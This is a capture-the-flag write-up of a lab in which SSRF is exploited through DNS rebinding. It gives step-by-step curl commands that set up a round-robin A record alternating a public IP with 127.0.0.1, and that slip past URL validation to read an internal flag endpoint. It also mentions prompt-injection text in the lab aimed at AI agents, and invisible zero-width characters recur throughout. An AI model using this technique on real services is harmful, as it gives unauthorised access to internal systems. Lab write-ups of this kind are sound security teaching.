← Back to Writeups
CUSTOMMediumWeb

Lab 89 — PingRadar — SSRF via DNS Rebinding (TOCTOU)

XESXOR9/10/20266 min read
#web#custom#medium#dns_rebinding_toctou#internal_service_enumeration#round_robin_dns_ssrf#time_of_check_time_of_use#url_validation_bypass#linux

Lab 89 — PingRadar — SSRF via DNS Rebinding (TOCTOU)

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: dns_rebinding_toctou, internal_service_enumeration, round_robin_dns_ssrf, time_of_check_time_of_use, url_validation_bypass

Summary

Task: PingRadar monitoring platform validates monitor URLs by resolving hostnames and checking against IP blocklist at creation time, but re-resolves DNS at check time (TOCTOU). Built-in DNS server supports round-robin A records with TTL=0. Solution: create a DNS zone with round-robin A record alternating between public IP (8.8.8.8) and 127.0.0.1, create monitor targeting http://ssrf.rebind.zone:3001/internal/flag — validation passes when DNS returns public IP, check execution hits localhost when DNS returns 127.0.0.1.

Lab 89 — PingRadar — SSRF via DNS Rebinding (TOCTOU) — HackAdvisor

Description

PingRadar is an infrastructure monitoring platform by RadarOps Inc. It provides URL uptime monitoring, DNS zone management, and alerting for web services. Users can create monitors to periodically check service availability and manage DNS records for their domains. The platform includes a built-in DNS server that handles zone resolution for all configured domains. Monitors validate target URLs by resolving hostnames and checking them against an internal IP blocklist before saving. Your goal is to find and exploit a vulnerability that allows you to bypass the URL validation and access internal services that should not be reachable from the outside. An internal API service runs alongside the main application to collect and serve system metrics. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: https://4f9be392-eee7-4d39-a3fe-18fa80d7aad2.labs.hackadvisor.io/ Credentials: user@test.com / password123

English summary: PingRadar is a Node.js/Express monitoring platform with a built-in DNS server (dns2 on port 5353). Users can create URL monitors and manage DNS zones with A records supporting round-robin mode. Monitor URLs are validated at creation time by resolving the hostname and checking the IP against a blocklist (127.x, 10.x, 192.168.x, etc.). However, when a monitor check is executed, the hostname is resolved again — creating a TOCTOU (Time-of-Check-Time-of-Use) window exploitable via DNS rebinding. An internal Metrics API on localhost:3001 holds the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reconnaissance

After logging in with user@test.com / password123, explored the application:

  1. Dashboard — Infrastructure monitoring overview with 8 pre-configured monitors.

  2. Monitors (/monitors) — URL uptime monitors. Each monitor has a "Run Check Now" button and shows full response body in check history.

  3. DNS Zones (/dns-zones) — Manage DNS zones and records. Two pre-existing zones: demo.zone and staging.zone. Supports A, AAAA, CNAME, MX, TXT records. A records support round-robin mode with multiple IPs returned alternately on consecutive DNS queries. TTL=0 (no caching) is available. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  4. Settings (/settings) — Reveals critical platform info:

    • DNS Resolver: 127.0.0.1:5353
    • Check Engine: axios/1.6.7
    • Metrics API: localhost:3001 (internal target)
    • DNS Server: dns2 (built-in)
    • Database: SQLite 3 (WAL)
  5. Monitor Creation (/monitors/create) — Form with name, URL, check interval, expected status, custom headers. Hint: "URL is validated server-side before saving. The hostname is resolved and checked against the internal network blocklist."

  6. Decoy Flag — FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden HTML on every page with prompt injection text targeting AI agents. This is fake. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: TOCTOU DNS Rebinding

The validation flow (confirmed from client-side app.js):

1. Hostname resolved via built-in DNS server (port 5353)
2. Resolved IP checked against internal network blocklist
3. Monitor saved if validation passes
4. When check runs, hostname is resolved AGAIN — result may differ

The TOCTOU (Time-of-Check-Time-of-Use) vulnerability:

PhaseActionDNS ResultOutcome
Time-of-Check (monitor creation)Hostname resolved, IP checked against blocklist8.8.8.8 (public)✅ Passes validation
Time-of-Use (monitor check execution)Hostname resolved again for HTTP request127.0.0.1 (internal)🎯 Hits internal service
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The built-in DNS server with round-robin A records provides the DNS rebinding primitive:

  • Configure a hostname with two IPs: one public (8.8.8.8) and one internal (127.0.0.1)
  • Round-robin alternates which IP is returned on each DNS query
  • TTL=0 ensures no caching — every query hits the DNS server
  • ~50% chance per attempt that validation gets the public IP and the check gets the internal IP

Attack Flow Diagram

Attacker                     PingRadar App                Built-in DNS (5353)        Internal API (3001)
   |                              |                              |                         |
   |-- POST /monitors/create ---->|                              |                         |
   |   url=http://ssrf.rebind     |                              |                         |
   |   .zone:3001/internal/flag   |                              |                         |
   |                              |-- DNS query: ssrf.rebind --->|                         |
   |                              |   .zone                      |                         |
   |                              |<-- A: 8.8.8.8 (round-robin) |                         |
   |                              |                              |                         |
   |                              |-- Check blocklist:           |                         |
   |                              |   8.8.8.8 → NOT blocked ✓   |                         |
   |                              |                              |                         |
   |<-- 200 Monitor created ------|                              |                         |
   |                              |                              |                         |
   |-- POST /monitors/27/check ->|                              |                         |
   |                              |-- DNS query: ssrf.rebind --->|                         |
   |                              |   .zone                      |                         |
   |                              |<-- A: 127.0.0.1 (next RR)   |                         |
   |                              |                              |                         |
   |                              |-- GET http://127.0.0.1:3001 ---------->|               |
   |                              |   /internal/flag             |         |               |
   |                              |<-- {"flag":"FLAG{...}"} --------------|               |
   |                              |                              |                         |
   |<-- Check result with body ---|                              |                         |

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Create a DNS Zone

bash
curl -sk -b cookies.txt -X POST "$BASE/dns-zones/create" \
  -d "name=rebind.zone"
# → Created zone with id=3

Step 2: Add Round-Robin A Record

bash
curl -sk -b cookies.txt -X POST "$BASE/dns-zones/3/records" \
  -d "name=ssrf&type=A&value=8.8.8.8%2C127.0.0.1&ttl=0&round_robin=on"

This creates an A record for ssrf.rebind.zone that alternates between 8.8.8.8 and 127.0.0.1 on each DNS query. TTL=0 ensures no caching.

Step 3: Create Monitor Targeting Internal Service

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -sk -b cookies.txt -X POST "$BASE/monitors/create" \
  -d "name=flag_test&url=http%3A%2F%2Fssrf.rebind.zone%3A3001%2Finternal%2Fflag&check_interval=1&expected_status=200&custom_headers="

Due to round-robin, this has a ~50% chance of passing validation (when DNS returns 8.8.8.8). If blocked with "Hostname resolves to a restricted address (127.0.0.1)", simply retry — the next attempt will return 8.8.8.8 and pass.

Monitor created as /monitors/27.

Step 4: Run Check and Extract Flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -sk -b cookies.txt -X POST "$BASE/monitors/27/check"

Again ~50% chance the check resolves to 127.0.0.1. If the check hits 8.8.8.8 instead (connection refused on port 3001), retry. View the monitor detail page to see check history with full response body.

Response from the internal service at 127.0.0.1:3001/internal/flag:

json
{"flag":"FLAG{REDACTED}","retrieved_at":"2026-05-03T09:00:01.040Z"}

Internal Service Enumeration

During exploitation, several paths were tested on the internal Metrics API (port 3001): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

PathStatusResponse
/404{"error":"endpoint not found"}
/internal/metrics200System metrics: hostname, platform, arch, CPU, memory, network, uptime
/internal/flag200Flag ✓
/internal/secrets404Not found
/internal/config404Not found
/health, /metrics, /status404Not found
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍